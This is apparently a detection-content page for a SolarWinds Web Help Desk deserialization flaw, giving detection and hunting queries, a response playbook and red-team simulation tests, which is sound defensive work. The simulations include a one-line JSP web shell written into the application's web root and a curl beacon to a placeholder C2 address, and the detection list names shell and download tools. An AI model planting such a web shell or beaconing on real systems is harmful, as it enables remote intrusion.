CVE-2025-40551 Elastic Security · Elastic

Detect CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE in Elastic Security

Detects exploitation of CVE-2025-40551, a deserialization of untrusted data vulnerability in SolarWinds Web Help Desk. Successful exploitation allows unauthenticated or low-privileged attackers to achieve remote code execution on the WHD server. This CVE is listed in CISA KEV, indicating active exploitation in the wild.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by host.name with maxspan=30s
  [process where process.name : ("java", "javaw", "tomcat*") and event.type == "start"]
  [process where process.parent.name : ("java", "javaw", "tomcat*") and process.name : ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "certutil.exe", "whoami.exe", "curl.exe", "wget.exe", "net.exe") and event.type == "start"]
critical severity high confidence

EQL sequence detecting a WHD/Java/Tomcat parent process followed within 30 seconds by a suspicious shell or utility child process, consistent with deserialization RCE.

Data Sources

Elastic EndpointWinlogbeatAuditbeat

Required Tables

logs-endpoint.events.process-*winlogbeat-*

False Positives & Tuning

  • Automated Java-based administrative tooling spawning shell processes
  • Monitoring agents running under the Tomcat process tree
  • Application health checks or diagnostic scripts triggered by WHD
  • Software update or patching workflows using cmd or PowerShell

Other platforms for CVE-2025-40551

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate WHD Deserialization RCE — Whoami Execution

    Expected signal: ProcessCreate event with ParentImage=java.exe and Image=whoami.exe; captured by Sysmon EventID 1 or Defender DeviceProcessEvents

  2. Test 2Simulate WHD Deserialization RCE — PowerShell Reverse Shell Stub

    Expected signal: ProcessCreate with ParentImage=java.exe, Image=powershell.exe, CommandLine containing '-NoProfile'; network telemetry if actual reverse shell payload used

  3. Test 3Simulate WHD Web Shell Drop via Java Process

    Expected signal: FileCreate event for shell.jsp under WHD webapps directory, initiated by java.exe; Sysmon EventID 11 or DeviceFileEvents

  4. Test 4Simulate WHD Outbound C2 Callback from Java Process (Linux)

    Expected signal: Network connection from java or curl process to external IP on non-standard port; captured by auditd, Falco, or network flow telemetry

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the WHD server IP/hostname generating the alert and confirm whether SolarWinds Web Help Desk is installed and running on that system.
  2. Review process tree for the flagged Java/Tomcat parent and child processes — capture full command lines, user context, and timestamps to distinguish exploitation from legitimate admin activity.
  3. Check WHD application logs (typically under the WHD installation directory, e.g., /usr/local/webhelpdesk/log/) for abnormal HTTP POST requests or deserialization-related Java exceptions around the alert time.
  4. Correlate with network logs — look for inbound connections to the WHD port (default 8080/443) from external or untrusted IPs immediately before the process spawn event.
  5. Verify the WHD version and patch level against the advisory at https://www.solarwinds.com/trust-center/security-advisories/cve-2025-40551 to confirm whether the system is an affected version.

Containment

  1. If exploitation is confirmed, immediately isolate the WHD server from the network using EDR network containment or firewall ACLs to prevent lateral movement or C2 callback.
  2. Revoke or rotate all credentials stored in or accessible from the WHD server, including service accounts, database credentials, and API keys, as these may have been exfiltrated.
  3. Block inbound access to WHD application ports (8080, 443) at the network perimeter until the system is patched and verified clean.

Evidence Collection

  1. Collect a full memory dump of the WHD server process (Java/Tomcat) and OS for forensic analysis — deserialization payloads may only exist transiently in memory.
  2. Preserve WHD application logs, Java heap dumps if available, web server access logs, and OS-level process audit logs (Sysmon, auditd) covering the window around the alert.
  3. Export relevant SIEM telemetry including all process events, network connections, and file writes associated with the WHD process and any child processes for the 48-hour window surrounding the incident.

Escalation Criteria

  • !Escalate immediately to IR if any post-exploitation activity is observed: persistence mechanisms (new scheduled tasks, services, registry run keys), lateral movement, or data exfiltration indicators.
  • !Escalate if the WHD server has access to sensitive infrastructure such as Active Directory, privileged service accounts, or stores credentials for other systems — the blast radius may be organization-wide.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >WHD application logs: /usr/local/webhelpdesk/log/helpdesk.log — look for serialized object payloads or Java deserialization stack traces
  • >Tomcat access logs showing POST requests with large or encoded bodies to WHD endpoints around the incident time
  • >New files created in WHD temp or upload directories shortly after the suspicious process spawn
  • >Prefetch files or Shimcache entries for unexpected binaries executed in the context of the WHD service account
  • >Network flow records showing outbound connections from the WHD server to external IPs following the exploit event

Tuning Guidance

Start by scoping detections to known WHD server hostnames or IP ranges to reduce noise from unrelated Java processes. Suppress alerts for known-good WHD service account activity that legitimately invokes cmd.exe or PowerShell (e.g., scheduled backup scripts) by allowlisting specific command-line patterns after confirming their legitimacy. If WHD runs in a container or on Linux, adapt parent process name matching to include 'java' without '.exe'. Increase confidence by correlating process spawn events with inbound HTTP POST requests to WHD endpoints in the same 60-second window. For network-based hunting queries, maintain and update an allowlist of known external SolarWinds update/telemetry endpoints to reduce false positives on legitimate outbound Java connections.

Hunting Queries

Hunt for outbound network connections from WHD Java/Tomcat processes to external IPs, which may indicate C2 callback following successful deserialization exploitation.

Hunting — KQL
kql 
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe")
| where RemoteIPType != "Private"
| where TimeGenerated > ago(14d)
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated desc
Hunting — SPL
spl 
index=* sourcetype=stream:tcp OR sourcetype="pan:traffic"
| where (process LIKE "%java%" OR process LIKE "%tomcat%")
  AND NOT (dest_ip="10.0.0.0/8" OR dest_ip="172.16.0.0/12" OR dest_ip="192.168.0.0/16")
| table _time, host, src_ip, dest_ip, dest_port, process
| sort - _time

Hunt for file creation of web shells (.jsp, .jspx) or new Java class/WAR files written by the WHD Java process — a common follow-on after deserialization RCE.

Hunting — KQL
kql 
DeviceFileEvents
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe", "tomcat9.exe")
| where ActionType in ("FileCreated", "FileModified")
| where FileName endswith ".jsp" or FileName endswith ".jspx" or FileName endswith ".war" or FileName endswith ".class"
| where TimeGenerated > ago(14d)
| project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=* sourcetype=sysmon EventCode=11
| where (Image LIKE "%java%" OR Image LIKE "%tomcat%")
  AND (TargetFilename LIKE "%.jsp%" OR TargetFilename LIKE "%.war" OR TargetFilename LIKE "%.class")
| table _time, host, Image, CommandLine, TargetFilename
| sort - _time

Atomic Red Team Tests

Test 1 Simulate WHD Deserialization RCE — Whoami Execution
windows

Simulates the initial RCE step of CVE-2025-40551 by launching whoami.exe as a child of a Java process, mimicking what a deserialization payload would do on a WHD server.

Command

powershell 
Start-Process -FilePath "java.exe" -ArgumentList "-jar C:\temp\noop.jar" -PassThru | ForEach-Object { Start-Sleep 1; Start-Process -FilePath "whoami.exe" -NoNewWindow }

Cleanup

powershell 
Stop-Process -Name java -ErrorAction SilentlyContinue

Expected Telemetry

ProcessCreate event with ParentImage=java.exe and Image=whoami.exe; captured by Sysmon EventID 1 or Defender DeviceProcessEvents

Expected Detection

Alert triggered on WHDProcesses parent spawning SuspiciousChildren (whoami.exe)

Test 2 Simulate WHD Deserialization RCE — PowerShell Reverse Shell Stub
windows

Simulates an attacker using a deserialization payload to launch PowerShell for a reverse shell from a Java/Tomcat parent context.

Command

powershell 
Start-Process -FilePath "java.exe" -ArgumentList "-jar C:\temp\noop.jar" -PassThru | ForEach-Object { Start-Sleep 1; Start-Process powershell.exe -ArgumentList "-NoProfile -NonInteractive -Command Write-Host 'RCE-SIM'" -NoNewWindow -Wait }

Cleanup

powershell 
Stop-Process -Name java,powershell -ErrorAction SilentlyContinue

Expected Telemetry

ProcessCreate with ParentImage=java.exe, Image=powershell.exe, CommandLine containing '-NoProfile'; network telemetry if actual reverse shell payload used

Expected Detection

Alert on Java process spawning PowerShell with non-interactive flags

Test 3 Simulate WHD Web Shell Drop via Java Process
windows

Simulates an attacker writing a JSP web shell to the WHD web root after achieving RCE through deserialization exploitation.

Command

powershell 
Start-Process -FilePath "java.exe" -ArgumentList "-jar C:\temp\noop.jar" -PassThru | ForEach-Object { Start-Sleep 1; cmd.exe /c "echo ^<% Runtime.getRuntime().exec(request.getParameter("cmd")); %^> > C:\Program Files\SolarWinds\Web Help Desk\webapps\helpdesk\shell.jsp" }

Cleanup

powershell 
Remove-Item 'C:\Program Files\SolarWinds\Web Help Desk\webapps\helpdesk\shell.jsp' -ErrorAction SilentlyContinue; Stop-Process -Name java -ErrorAction SilentlyContinue

Expected Telemetry

FileCreate event for shell.jsp under WHD webapps directory, initiated by java.exe; Sysmon EventID 11 or DeviceFileEvents

Expected Detection

Hunt query alert on Java process creating .jsp file in web application directory

Test 4 Simulate WHD Outbound C2 Callback from Java Process (Linux)
linux

Simulates post-exploitation C2 callback from a Java process on a Linux WHD server after deserialization exploitation.

Command

bash 
bash -c 'java -version & sleep 1 && curl -s http://192.0.2.1:4444/beacon --max-time 5 || true'

Cleanup

bash 
pkill -f 'curl.*192.0.2.1' 2>/dev/null; true

Expected Telemetry

Network connection from java or curl process to external IP on non-standard port; captured by auditd, Falco, or network flow telemetry

Expected Detection

Network hunt query alert on Java process initiating outbound connection to external non-RFC1918 IP

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1203Exploitation for Client ExecutionT1505.003Web Shell

Same Tactic: Initial Access

Popular Detections